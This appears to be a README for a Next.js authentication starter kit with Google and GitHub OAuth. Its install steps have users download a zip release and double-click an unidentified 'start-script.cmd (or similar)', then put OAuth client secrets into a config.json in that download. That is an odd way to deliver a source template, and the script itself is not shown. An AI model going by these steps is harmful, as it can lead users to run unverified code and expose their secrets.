AnOlive100

🎉 NEXT-NEXT_AUTH-STARTER-kit - Simple Authentication Made Easy

🚀 Getting Started

Welcome to the NEXT-NEXT_AUTH-STARTER kit! This is a ready-to-use template for building applications using Next.js with authentication support. It features Google and GitHub login options, protected routes, and a sleek UI thanks to Tailwind CSS.

🔗 Download Here

🛠 What You Need

Before you start, ensure your computer meets these requirements:

• Operating System: Windows, macOS, or Linux
• Node.js Version: 14 or higher
• Internet Connection: Needed for installation and updates
• Basic Software: A code editor like Visual Studio Code (optional, but recommended)

📥 Download & Install

1. Visit this page to download.
2. Look for the latest release version.
3. Click on the download link for the application. You should receive a file that looks similar to NEXT-NEXT_AUTH-STARTER-kit-v1.0.zip.
4. Locate the downloaded file on your computer.

📂 Unzip the File

1. Find the zip file you just downloaded.
2. Right-click on the file.
3. Select “Extract All,” then follow the prompts to unzip the contents. You should see a folder that contains the application files.

⚙️ Running the Application

1. Open your file explorer and locate the new folder created during extraction.
2. Inside that folder, find a file named start-script.cmd (or similar) and double-click it. This will open a command prompt window that runs the application.
3. Wait for the application to load. Once ready, it will display a message with your local URL, usually http://localhost:3000.

🔏 Setting Up Authentication

Google OAuth

1. Go to the Google Developer Console.
2. Create a new project or select an existing one.
3. Navigate to “Credentials” and then “Create Credentials.”
4. Choose “OAuth client ID.”
5. Set up the screen by providing required information.
6. Add http://localhost:3000/api/auth/callback/google as an authorized redirect URI.

GitHub OAuth

1. Visit the GitHub Developer settings page.
2. Click on “OAuth Apps” then “New OAuth App.”
3. Fill out the required information.
4. Set the homepage URL to http://localhost:3000 and the authorization callback URL to http://localhost:3000/api/auth/callback/github.
5. Click “Register application.”

🎨 Customizing Your App

1. In the unzipped folder, look for a config.json file.
2. Open it in your code editor.
3. Update the values for Google and GitHub Client IDs and secrets that you received from their respective console settings.
4. Save the file.

📚 Resources

• Documentation: Comprehensive guides are available in the /docs folder within the download.
• Video Tutorials: Check out our playlist on YouTube for step-by-step instructions.
• Community Support: Join our community on Discord for help and collaboration.

📞 Need Help?

If you encounter any issues during setup or usage:

• Please refer to the “Issues” section on GitHub for common problems and solutions.
• You can also create a new issue if your problem isn’t listed.

🛠 Features

• Simple setup with minimal configuration.
• OAuth support for both Google and GitHub.
• Protected routes to secure parts of your application.
• Built with TypeScript for strong typing and better development experience.
• Customizable UI using Tailwind CSS.

🔗 Additional Links

• Documentation
• GitHub Repository
• Releases

🎉 Final Thoughts

With the NEXT-NEXT_AUTH-STARTER kit, you can easily create applications with secure login options. Follow these steps, and you’ll have your application up and running in no time.